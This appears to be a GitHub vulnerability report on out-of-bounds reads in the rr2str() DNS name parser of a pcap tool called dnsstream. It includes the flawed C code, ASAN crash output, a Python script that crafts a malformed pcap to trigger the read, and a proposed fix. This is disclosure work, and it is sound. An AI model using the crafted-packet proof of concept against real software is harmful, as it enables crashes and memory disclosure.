Skip to content

Out-of-Bounds Read in rr2str() - Missing Bounds Checks & Compression Pointer Mishandling #1

@drmckay

Description

@drmckay

Summary

The rr2str() function in dnsstream.c contains critical out-of-bounds read vulnerabilities:

  1. Missing bounds checks - No validation before reading from packet buffer
  2. DNS compression pointer mishandling - Bytes >= 0xC0 are treated as label lengths (192-255), causing massive OOB reads

A malformed DNS packet with a truncated name field, or even legitimate DNS traffic using compression pointers, can cause the program to read past the packet buffer into adjacent memory.

Affected Code

File: dnsstream.c
Function: rr2str()
Lines: 59-70

static char *
rr2str(const uint8_t **ptrptr, const uint8_t *end) {
    static char res[1024];
    static char *dend = res + sizeof res;
    char *dst = res;
    uint8_t l;
    const uint8_t *ptr = *ptrptr;

    while (1) {
        l = ptr[0];                    // [VULN] No check if ptr < end before dereference
        ptr++;
        if (l <= 0)
            break;
        if (dst > res)
            *dst++ = '.';
        if (dst + l + 1 >= dend)
            break;
        memcpy(dst, ptr, l);           // [VULN] No check if ptr + l <= end before memcpy
        dst += l;
        ptr += l;
    }
    *dst = '\0';
    *ptrptr = ptr;
    return res;
}

Vulnerability Details

Issue 1: Unvalidated Read at Line 60

l = ptr[0];

The function reads from ptr without first verifying that ptr < end. If the packet is truncated such that ptr points beyond the packet buffer, this dereference causes an out-of-bounds read.

Issue 2: Unvalidated memcpy at Line 68

memcpy(dst, ptr, l);

After reading the label length l, the function copies l bytes from ptr without verifying that ptr + l <= end. A malformed DNS packet can specify a label length that extends beyond the actual packet data.

Issue 3: DNS Compression Pointer Mishandling (CVE-LIKE-002)

DNS supports message compression (RFC 1035 Section 4.1.4) using pointer bytes >= 0xC0. The function has no handling for compression pointers:

l = ptr[0];  // If ptr[0] = 0xC0, l = 192!
// ...
memcpy(dst, ptr, l);  // Reads 192 bytes - massive OOB!
Pointer Value Bytes Read Description
0xC0 192 Minimum compression pointer
0xFF 255 Maximum OOB read

Critical: Unlike truncated packets, compression pointers are used by virtually all DNS servers. This vulnerability can be triggered by legitimate DNS traffic.

ASAN Proof of Vulnerability

Method 1: Direct PCAP Exploitation (Original Binary)

The vulnerability can be triggered in the unmodified dnsstream binary using a crafted pcap file:

Set a small snaplen in the pcap header. libpcap allocates its internal buffer based on snaplen, so a small snaplen + large overflow = ASAN detection.

Crafted PCAP Structure

# poc_cve001.py - Key parameters
snaplen = 66          # Small buffer allocation by libpcap
label_length = 0xFF   # 255 bytes - maximum overflow
actual_data = 3       # Only 3 bytes provided
# Overflow: 255 - 3 = 252 bytes past buffer!

Compilation & Execution

# Compile dnsstream with ASAN
clang -fsanitize=address -g -o dnsstream_asan dnsstream.c -lpcap

# Generate malformed pcap
python3 poc_cve001.py

# Trigger vulnerability
./dnsstream_asan poc_max_overflow.pcap

ASAN Output (Original dnsstream Binary)

=================================================================
==2628068==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba799be0062
READ of size 255 at 0x7ba799be0062 thread T0
    #0 0x0000004a38be in __asan_memcpy
    #1 0x0000004eacb0 in rr2str dnsstream.c:68:9
    #2 0x0000004ea79c in main dnsstream.c:148:16

0x7ba799be0062 is located 0 bytes after 66-byte region [0x7ba799be0020,0x7ba799be0062)
allocated by thread T0 here:
    #0 0x0000004a5c68 in malloc
    #1 0x7f379ac92578 in libpcap.so (pcap_fopen_offline_with_tstamp_precision)
    #2 0x7f379ac920b4 in pcap_open_offline_with_tstamp_precision

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
==2628068==ABORTING

Analysis

Finding Value
Error Type heap-buffer-overflow
Operation READ of size 255
Vulnerable Function rr2str() at dnsstream.c:68 (memcpy)
Buffer Size 66 bytes (allocated by libpcap based on snaplen)
Overflow 189 bytes past buffer end (255 - 66 = 189)
Buffer Allocator libpcap (pcap_fopen_offline_with_tstamp_precision)

Note: The default snaplen in dnsstream is 2048 bytes (line 108). With a large internal buffer, small overflows don't reach ASAN's redzone. The crafted pcap uses snaplen=66 to force a smaller allocation.


Proof of Concept Files

1. Malformed PCAP Generator (poc_cve001.py)

Generates pcap files that trigger the vulnerability in the original dnsstream binary:

#!/usr/bin/env python3
"""
PoC: Trigger OOB read in dnsstream via truncated DNS QNAME
Key: Small snaplen forces libpcap to allocate small buffer
"""
import struct

def create_pcap_header(snaplen=66):  # Small snaplen!
    return struct.pack('<IHHIIII',
        0xa1b2c3d4, 2, 4, 0, 0, snaplen, 1)

def create_malformed_dns():
    dns_header = struct.pack('>HHHHHH',
        0x1234,    # Transaction ID
        0x8180,    # Flags: Response, No Error
        0x0001,    # QDCOUNT: 1
        0x0001,    # ANCOUNT: 1
        0x0000, 0x0000
    )
    truncated_qname = bytes([
        0xFF,              # Label length: 255 (maximum)
        0x41, 0x41, 0x41   # Only 3 bytes of data
    ])
    return dns_header + truncated_qname

2. PCAP Test Wrapper (test_pcap_asan.c)

Alternative test that copies pcap data to exact-size buffers:

clang -fsanitize=address -g -o test_pcap_asan test_pcap_asan.c -lpcap
./test_pcap_asan poc_truncated_qname.pcap

Recommended Fix

Add bounds checks and compression pointer handling:

static char *
rr2str(const uint8_t **ptrptr, const uint8_t *end) {
    static char res[1024];
    static char *dend = res + sizeof res;
    char *dst = res;
    uint8_t l;
    const uint8_t *ptr = *ptrptr;

    while (1) {
        if (ptr >= end)                  // FIX: Check bounds before reading length
            break;
        l = ptr[0];

        // FIX: Handle compression pointer (RFC 1035 Section 4.1.4)
        if ((l & 0xC0) == 0xC0) {
            ptr += 2;                    // Skip 2-byte pointer
            break;
        }

        ptr++;
        if (l == 0)
            break;
        if (ptr + l > end)               // FIX: Check bounds before memcpy
            break;
        if (dst > res)
            *dst++ = '.';
        if (dst + l + 1 >= dend)
            break;
        memcpy(dst, ptr, l);
        dst += l;
        ptr += l;
    }
    *dst = '\0';
    *ptrptr = ptr;
    return res;
}

This fix addresses:

  1. Issue 1 & 2: Bounds checks before reading ptr[0] and before memcpy
  2. Issue 3: Compression pointer detection and safe handling

References

Reproduction Steps

Method 1: Original Binary with Crafted PCAP (Recommended)

# 1. Clone repository
git clone <repo>
cd dnsstream

# 2. Compile dnsstream with ASAN
clang -fsanitize=address -g -o dnsstream_asan dnsstream.c -lpcap

# 3. Generate malformed pcap files
python3 poc_cve001.py

# 4. Trigger vulnerability - observe ASAN heap-buffer-overflow
./dnsstream_asan poc_max_overflow.pcap

Environment

  • Tool: dnsstream
  • File: dnsstream.c
  • Vulnerable Function: rr2str()
  • Vulnerable Lines: 60, 68
  • Compiler: clang with -fsanitize=address
  • OS: Linux

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions